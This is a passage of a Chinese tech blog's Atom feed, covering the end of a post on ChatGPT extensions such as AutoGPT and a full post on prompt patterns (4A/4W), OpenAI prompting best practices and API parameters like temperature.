alt="img"></p><p>它还可以提供阅读功能，可以直接给它一篇文章，然后让他阅读，他会直接给你返回文章的摘要。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202304281859722.png" alt="img"></p><p>你可以通过这个对话聊天功能来快速的阅读一篇文章。</p><h2 id="AutoGPT"><a href="#AutoGPT" class="headerlink" title="AutoGPT"></a>AutoGPT</h2><ul><li><a href="https://github.com/Significant-Gravitas/Auto-GPT" target="_blank" rel="noopener">https://github.com/Significant-Gravitas/Auto-GPT</a></li></ul><p>AutoGPT诞生没多久，比起这个东西本身的效果，AutoGPT本身的思路和理念很有意思，<strong>AutoGPT依托于GPT4强大的算力和思考能力，对你的需求进行解构深入</strong>。比较麻烦得是，<strong>AutoGPT对算力的依赖比较强，GPT3.5能用但是很难用。而且由于AutoGPT的理念</strong></p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202304281859513.png" alt="img"></p><p><strong>AutoGPT就像一个不知疲倦的实习生，他会对你下的指令进行多重解构，并对当前的问题持续发散探索更多话题</strong>。</p><p>这里有个小例子，假设我想要一个web扫描器但是没有指定任何要求（你可以通过增加要求来优化回答的导向</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202304281859044.png" alt="img"></p><p>auto-gpt在分析了我的需求之后，提出了一个计划，是先去找一个网上的扫描器然后再根据需求改进，还提醒我小心代码的安全问题，不要盲目的clone代码。</p><p>如果我们继续让他分析，他会继续把分析的内容细化并深入，你也可以指定连续多步去分析。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202304281859109.png" alt="img"></p><p>当然除了让他继续分析，你也可以给与一些人工的干预，比如我说我不想要别人的代码，我想要自己写，他指出我们需要好好分析需求。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202304281859302.png" alt="img"></p><p>其实现在阶段的AutoGPT更多还是一个概念产品，使用上的体验更接近一个demo。<strong>比起实际意义，AutoGPT通过反馈较正的方式给我们呈现了一种机器思考的感觉，很有趣。</strong></p><h2 id="写在最后"><a href="#写在最后" class="headerlink" title="写在最后"></a>写在最后</h2><p>这篇文章里我们讨论的大多都是现在已经成型的一些基于chatgpt的拓展，作为使用者我们能做的很多只有适应时代，下篇文章我们就讲讲，在chatgpt的基础上我们作为开发者能做什么？</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;在我们对ChatGPT的基础能力有了一定的了解之后，我们就要开始在ChatGPT的基础上探索更多的可能性。&lt;/p&gt;
&lt;p&gt;而ChatGPT本身的问题也很多，ChatGPT在使用上最大也最明显的革命，&lt;strong&gt;其实是对自然语言的处理能力&lt;/strong&gt;，抛开太多专业性的术语，你在使用的过程中也能明显感觉到，ChatGPT甚至在某些方面有着比正常人更厉害的解读能力，&lt;strong&gt;它可以把一段模糊的要求和文字解读成需求，最牛逼的是它还支持中文&lt;/strong&gt;，毕竟理论上中文的自然语言处理难度是几个量级。&lt;/p&gt;</summary>
    
    
    
    
    <category term="chatgpt" scheme="https://lorexxar.cn/tags/chatgpt/"/>
    
  </entry>
  
  <entry>
    <title>从0到1的ChatGPT - 入门篇（二） - 如何与ChatGPT对话？</title>
    <link href="https://lorexxar.cn/2023/04/26/chatgpt2/"/>
    <id>https://lorexxar.cn/2023/04/26/chatgpt2/</id>
    <published>2023-04-26T11:04:11.000Z</published>
    <updated>2023-04-26T11:18:28.000Z</updated>
    
    <content type="html"><![CDATA[<p>在上篇文章的结尾，我提到了ChatGPT其实更像是一把铲子，在拥有这把铲子之前，我们只知道可以把土堆成房子，但是不知道用什么把土堆起来，但在有了这把铲子之后，铲土只是铲子最直白的利用，如何用铲子堆一个又大又漂亮的房子可能我们还不知道，但至少我们现在已经开始尝试做这样的事情了。</p><p>其实从ChatGPT诞生至今，所有从事相关研究的朋友都在努力的在ChatGPT上探索各种各样的使用方式，甚至现在已经诞生了所谓的prompt工程师。</p><p>这篇文章就聊聊很多现在已有的关于ChatGPT使用的技巧。</p><a id="more"></a><h1 id="4A-amp-4W"><a href="#4A-amp-4W" class="headerlink" title="4A &amp; 4W"></a>4A &amp; 4W</h1><p>首先ChatGPT在自然语言的理解上虽然有着领先时代的表现，但事实上ChatGPT并不是你的蛔虫，你试图通过简单的问题获得准确的回答是不可能的，也不现实。</p><p>这里我也用一下，在讲述这个问题时最常用的“如何减肥”的例子。如果你只是简单的问，那么chatgpt的回答就会模糊而概括。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202304261915275.png" alt="img"></p><p>随着大家的探索，逐渐诞生了两种常用的扮演法指令模式，也就是4A &amp; 4W。</p><ul><li>4A: Actor(角色) - Aim(目标) - Ask(提要求) - Addition(补充)</li></ul><p>4A模型是Prompt中比较典型的例子，晚上大部分流行的提问方式都是这个结构，还是拿减肥举例子，这一次我提供了我的身高和体重，并且给他赋予了角色定位。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202304261917114.png" alt="img"></p><p>相比之前更简单的提问，ChatGPT给了更具体的回应以及更详细的范例，但实际上在这个范例中，虽然内容详细但事实上没有太具体的计划。</p><p>在这个基础上，又有人提出了4W模型。</p><ul><li>4W: What(我的情况是) - Will(我想) - Who(你是谁) - Want(我要你)</li></ul><p>我们把前面的问题换个问法</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202304261917325.png" alt="img"></p><p>这一次ChatGPT反馈的最大变化就是他会根据我的内容进行发散，进而进一步的反馈详细的内容和反馈。</p><p>事实上ChatGPT对于问题的回答并不是一定的，相比4A模型，4W模型的反馈质量更高反馈也比较直白，在GPT4版本之后发散度也更高，也是现在比较主流的扮演提问法。</p><p>但事实上，4W的基础提问法只是比较通用的问法，但在扮演法可以有更详细的提问方式。比如我们先问问有没有专业的健身教练。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202304261917970.png" alt="img"></p><p>根据他的反馈，我们直接找其中一个人，让ChatGPT扮演这个人来提供建议。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202304261917172.png" alt="img"></p><p>在这种情况下，ChatGPT有可能，注意是有可能，会生成带有强烈的个人风格的反馈内容。而这部分内容一般来说有效度会更高，因为他很有可能是基于已有的内容生成的。但这并不绝对，因为ChatGPT还没有真正意义上联网。不过使用这种更详细的扮演法在某些情况下会让你的结果更有效。</p><h1 id="Openai-的官方最佳实践"><a href="#Openai-的官方最佳实践" class="headerlink" title="Openai 的官方最佳实践"></a>Openai 的官方最佳实践</h1><p>这里我们也一起看一看openai公开的prompt最佳实践，里面其实也是提到了一些我们熟知的，这里我提取几个比较关键的点。</p><p>1、把指令放在Prompt的开头，并且用###或者”””来分割指令和上下文。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">我需要把下面这段代码压缩到一行</span><br><span class="line">###</span><br><span class="line">var cookieStr &#x3D; &#39;ppmsglist_action_3907326541&#x3D;card&#39;;</span><br><span class="line">var cookieArr &#x3D; cookieStr.split(&#39;; &#39;);</span><br><span class="line">for (var i &#x3D; 0; i &lt; cookieArr.length; i++) &#123;</span><br><span class="line">var cookie &#x3D; cookieArr[i];</span><br><span class="line">var arr &#x3D; cookie.split(&#39;&#x3D;&#39;);</span><br><span class="line">document.cookie &#x3D; arr[0] + &#39;&#x3D;&#39; + arr[1];</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>2、对希望得到的内容的背景、结果、长度、格式、风格尽可能的详细</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202304261917854.png" alt="img"></p><p>3、通过示例阐述所需的输出格式</p><p>其实也很好理解，你可以用一些范例来表达你想要的内容，来帮助chatgpt矫正结果。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202304261918159.png" alt="img"></p><p><img src="https://cdn.nlark.com/yuque/0/2023/png/26687441/1682335543484-60940a89-2cac-4d8d-9667-8c14a397e52d.png" alt="img"></p><p>4、先不提供范例，再尝试给出范例，然后根据返回微调。</p><p>5、减少不精确的描述。</p><p>比起“我想要一段短小的内容”，最好直接指明内容的长度，比如“我想要一段100字左右的内容”</p><p>6、与其说什么不该做，不如说什么该做。</p><p>7、在想要生成代码的时候，使用引导词让模型向特定的模式发展。</p><p>在openai的范例中，他用import作为python的引导词，用select作为sql的引导词。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202304261918631.png" alt="img"></p><h1 id="Prompt-Engineering"><a href="#Prompt-Engineering" class="headerlink" title="Prompt Engineering"></a>Prompt Engineering</h1><p>其实相比简单的提问式回答，现在的Prompt相关的内容已经相当成熟了，比如github上现在有很多类似的项目，整理了大量的经典Prompt场景</p><ul><li><a href="https://github.com/PlexPt/awesome-chatgpt-prompts-zh" target="_blank" rel="noopener">https://github.com/PlexPt/awesome-chatgpt-prompts-zh</a></li></ul><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202304261918427.png" alt="img"></p><p>甚至已经有相当成熟的网站分享相关的信息<a href="https://www.explainthis.io/zh-hant/chatgpt" target="_blank" rel="noopener">https://www.explainthis.io/zh-hant/chatgpt</a></p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202304261918478.png" alt="img"></p><p>除了这种简单的指令分享，甚至还有更牛逼的直接把这个东西直接包装成产品，直接辅助你去写各种prompt。</p><h1 id="额外参数"><a href="#额外参数" class="headerlink" title="额外参数"></a>额外参数</h1><p>除了简单的对话技巧以及各种方案，ChatGPT还提供了不少的额外参数以影响返回的结果，其中我挑部分我觉得比较有意思的参数</p><h2 id="temperature"><a href="#temperature" class="headerlink" title="temperature"></a>temperature</h2><p>temperature这个参数官方给出的解释是，衡量模型输出不太准确信息的频率，temperature越高，输出越随机，并更具有创造性。但相比官方的解释，我们甚至可以把temperature理解为情感值或者温度值。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202304261918453.png" alt="img"></p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202304261918806.png" alt="img"></p><p>temperature默认是0.8，最高为2。通常来说，在询问具有创造力的结果时，可以让temperature提高，来获得更有意思的结果。在询问某些事实或者准确的内容时，可以降低temperature来获得更准确的结果。你可以在调用api的时候设置这个参数来控制它。</p><p>这是temperature为0.2时返回的结果。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202304261918267.png" alt="img"></p><p>当temperature为2的时候，chatgpt就有点儿傻，返回的非准确内容中会大量的随机各种结果。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202304261918349.png" alt="img"></p><p>当temperature为1的时候，chatgpt相对比较平衡</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202304261918640.png" alt="img"></p><h2 id="presence-penalty"><a href="#presence-penalty" class="headerlink" title="presence_penalty"></a>presence_penalty</h2><p>presence_penalty也是一个比较常见的参数，我们可以把这个参数认为是话题新鲜度，也可以认为是话题拓展的可能性。这个值越大，chatgpt在对话中也会越主动的发起新的分支。</p><p>这个值默认是0，可以从-2到2之间。</p><p>我自己尝试了一下感觉这个参数的表现其实比较弱，一般的问题回复其实是感受不到的。</p><h2 id="frequency-penalty"><a href="#frequency-penalty" class="headerlink" title="frequency_penalty"></a>frequency_penalty</h2><p>frequency_penalty整体上和presence_penalty类似，主要是控制总体使用频率较高的单词和短语概率，这个值越高，chatgpt中就会尽量减少重复。</p><p>这个值默认是0，可以从-2到2之间。</p><h2 id="max-tokens"><a href="#max-tokens" class="headerlink" title="max_tokens"></a>max_tokens</h2><p>标志返回的token长度的硬截止限制，这个token之前也说过其实标志是的是单词或者短语，这个计算方式相当宽泛，所以一般设置max_tokens就是为了保底，避免某些特殊的问题导致超长的回复浪费api的资源。</p><h2 id="stop"><a href="#stop" class="headerlink" title="stop"></a>stop</h2><p>一个特殊标记，可以在文本生成过程中暂停文本的生成。</p><h1 id="写在最后"><a href="#写在最后" class="headerlink" title="写在最后"></a>写在最后</h1><p>掌握了ChatGPT简单问答式的用法，就相当于我们已经学会了用铲子铲土。</p><p>而在ChatGPT基础上做进一步的探索相当有趣，下篇文章就讲讲怎么用铲子盖房子。</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;在上篇文章的结尾，我提到了ChatGPT其实更像是一把铲子，在拥有这把铲子之前，我们只知道可以把土堆成房子，但是不知道用什么把土堆起来，但在有了这把铲子之后，铲土只是铲子最直白的利用，如何用铲子堆一个又大又漂亮的房子可能我们还不知道，但至少我们现在已经开始尝试做这样的事情了。&lt;/p&gt;
&lt;p&gt;其实从ChatGPT诞生至今，所有从事相关研究的朋友都在努力的在ChatGPT上探索各种各样的使用方式，甚至现在已经诞生了所谓的prompt工程师。&lt;/p&gt;
&lt;p&gt;这篇文章就聊聊很多现在已有的关于ChatGPT使用的技巧。&lt;/p&gt;</summary>
    
    
    
    
    <category term="chatgpt" scheme="https://lorexxar.cn/tags/chatgpt/"/>
    
  </entry>
  
</feed>
